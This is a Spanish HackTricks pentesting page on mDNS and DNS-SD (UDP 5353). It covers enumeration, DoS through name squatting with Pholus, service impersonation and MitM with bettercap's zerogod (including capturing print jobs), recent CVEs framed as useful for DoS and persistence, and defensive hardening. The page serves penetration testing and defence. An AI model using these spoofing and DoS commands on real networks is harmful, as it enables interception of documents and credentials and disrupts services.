5353/UDP Multicast DNS (mDNS) y DNS-SD

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

Multicast DNS (mDNS) permite la resolución de nombres similar a DNS y el descubrimiento de servicios dentro de un enlace local sin un servidor DNS unicast. Usa UDP/5353 y las direcciones multicast 224.0.0.251 (IPv4) y FF02::FB (IPv6). DNS Service Discovery (DNS-SD, típicamente usado con mDNS) proporciona una forma estandarizada de enumerar y describir servicios mediante registros PTR, SRV y TXT.

PORT     STATE SERVICE
5353/udp open  zeroconf

Detalles clave del protocolo que a menudo aprovecharás durante ataques:

  • Los nombres en la zona .local se resuelven vía mDNS.
  • El bit QU (Query Unicast) puede solicitar respuestas unicast incluso para preguntas multicast.
  • Las implementaciones deberían ignorar paquetes que no provengan del enlace local; algunas pilas aún los aceptan.
  • La comprobación/anuncio exige nombres de host/servicio únicos; interferir aquí crea condiciones de DoS/“name squatting”.

DNS-SD modelo de servicio

Los servicios se identifican como _._tcp o _._udp bajo .local, p. ej. _ipp._tcp.local (impresoras), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), etc. Descubre tipos con _services._dns-sd._udp.local, luego resuelve las instancias descubiertas a SRV/TXT/A/AAAA.

Exploración y enumeración de la red

  • nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
  • Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Consejo: Algunos navegadores/WebRTC usan nombres mDNS efímeros para ocultar las IP locales. Si ves candidatos random-UUID.local en la red, resuélvelos con mDNS para pivotar a las IP locales.

Ataques

Interferencia en la comprobación de nombres mDNS (DoS / name squatting)

Durante la fase de probing, un host comprueba la unicidad del nombre. Responder con conflictos suplantados le obliga a elegir nuevos nombres o a fallar. Esto puede retrasar o impedir el registro y descubrimiento del servicio.

Ejemplo con Pholus:

# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Falsificación e impersonación de servicios (MitM)

Hazte pasar por servicios DNS-SD anunciados (impresoras, AirPlay, HTTP, compartición de archivos) para obligar a los clientes a conectarse a ti. Esto es especialmente útil para:

  • Capturar documentos suplantando _ipp._tcp o _printer._tcp.
  • Atraer a los clientes a servicios HTTP/HTTPS para recopilar tokens/cookies o entregar payloads.
  • Combinar con técnicas de relay NTLM cuando clientes Windows negocien autenticación con servicios suplantados.

Con el módulo zerogod de bettercap (mDNS/DNS-SD spoofer/impersonator):

# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Vea también los flujos de trabajo genéricos de suplantación LLMNR/NBNS/mDNS/WPAD y captura/relay de credenciales:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Notas sobre problemas recientes de implementación (útil para DoS/persistencia durante compromisos)

  • Los bugs de reachable-assertion de Avahi y crash de D-Bus (2023) pueden terminar avahi-daemon en distribuciones Linux (p. ej. CVE-2023-38469..38473, CVE-2023-1981), interrumpiendo el descubrimiento de servicios en los hosts objetivo hasta el reinicio.
  • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) permite que clientes WLAN adyacentes inunden mDNS manipulados, saturando la CPU del WLC y cayendo los túneles AP — útil si necesitas forzar roaming de clientes o reinicios del controlador durante un compromiso.
  • Apple mDNSResponder logic error DoS (CVE-2024-44183) permite que un proceso local aislado haga crash a Bonjour para suprimir brevemente la publicación/búsqueda de servicios en endpoints Apple; parcheado en las versiones actuales de iOS/macOS.
  • Un problema de corrección en Apple mDNSResponder (CVE-2025-31222) permitía escalada de privilegios local vía mDNSResponder; útil para persistencia en Macs/iPhones no gestionados, corregido en actualizaciones recientes de iOS/macOS.

Consideraciones de mDNS en Browser/WebRTC

Las versiones modernas de Chromium/Firefox ofuscan los host candidates con nombres mDNS aleatorios. Puedes volver a exponer las IPs de la LAN en endpoints gestionados aplicando la política de Chrome WebRtcLocalIpsAllowedUrls (o alternando chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/equivalente en Edge) para que ICE exponga host candidates en lugar de mDNS; configúralo vía HKLM\Software\Policies\Google\Chrome.

Cuando los usuarios desactivan la protección manualmente (común en guías de resolución de problemas de WebRTC), sus navegadores vuelven a anunciar host candidates en texto plano, que puedes capturar vía mDNS o señalización ICE para acelerar el descubrimiento de hosts.

Consideraciones defensivas y OPSEC

  • Límites de segmento: No enrutes 224.0.0.251/FF02::FB entre zonas de seguridad a menos que se requiera explícitamente un mDNS gateway. Si debes puentear el descubrimiento, prefiere allowlists y límites de tasa.
  • Endpoints/servidores Windows:
  • Para deshabilitar completamente la resolución de nombres vía mDNS, establece el valor del registro y reinicia:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • En entornos gestionados, deshabilita la regla integrada “mDNS (UDP-In)” del Windows Defender Firewall (al menos en el perfil Domain) para prevenir el procesamiento entrante de mDNS preservando la funcionalidad de home/roaming.
  • En builds recientes de Windows 11/plantillas GPO, usa la política “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” y configúrala como Disabled.
  • Linux (Avahi):
  • Restringe la publicación cuando no sea necesaria: establece disable-publishing=yes, y restringe interfaces con allow-interfaces= / deny-interfaces= en /etc/avahi/avahi-daemon.conf.
  • Considera check-response-ttl=yes y evita enable-reflector=yes a menos que sea estrictamente necesario; prefiere reflect-filters= allowlists al reflejar.
  • macOS: Restringe mDNS entrante en firewalls del host/red cuando el descubrimiento Bonjour no sea necesario para subredes específicas.
  • Monitorización: Alerta sobre picos inusuales en consultas _services._dns-sd._udp.local o cambios repentinos en SRV/TXT de servicios críticos; estos son indicadores de spoofing o suplantación de servicios.

Referencia rápida de herramientas

  • nmap NSE: dns-service-discovery and broadcast-dns-service-discovery.
  • Pholus: escaneo activo, barridos inversos de mDNS, herramientas auxiliares para DoS y spoofing.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: descubrir, guardar, anunciar e impersonar servicios mDNS/DNS-SD (ver ejemplos arriba).

Spoofing/MitM

El ataque más interesante que puedes realizar sobre este servicio es un MitM en la comunicación entre el cliente y el servidor real. Podrías obtener archivos sensibles (MitM la comunicación con la impresora) o incluso credenciales (autenticación de Windows).
Para más información, consulta:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks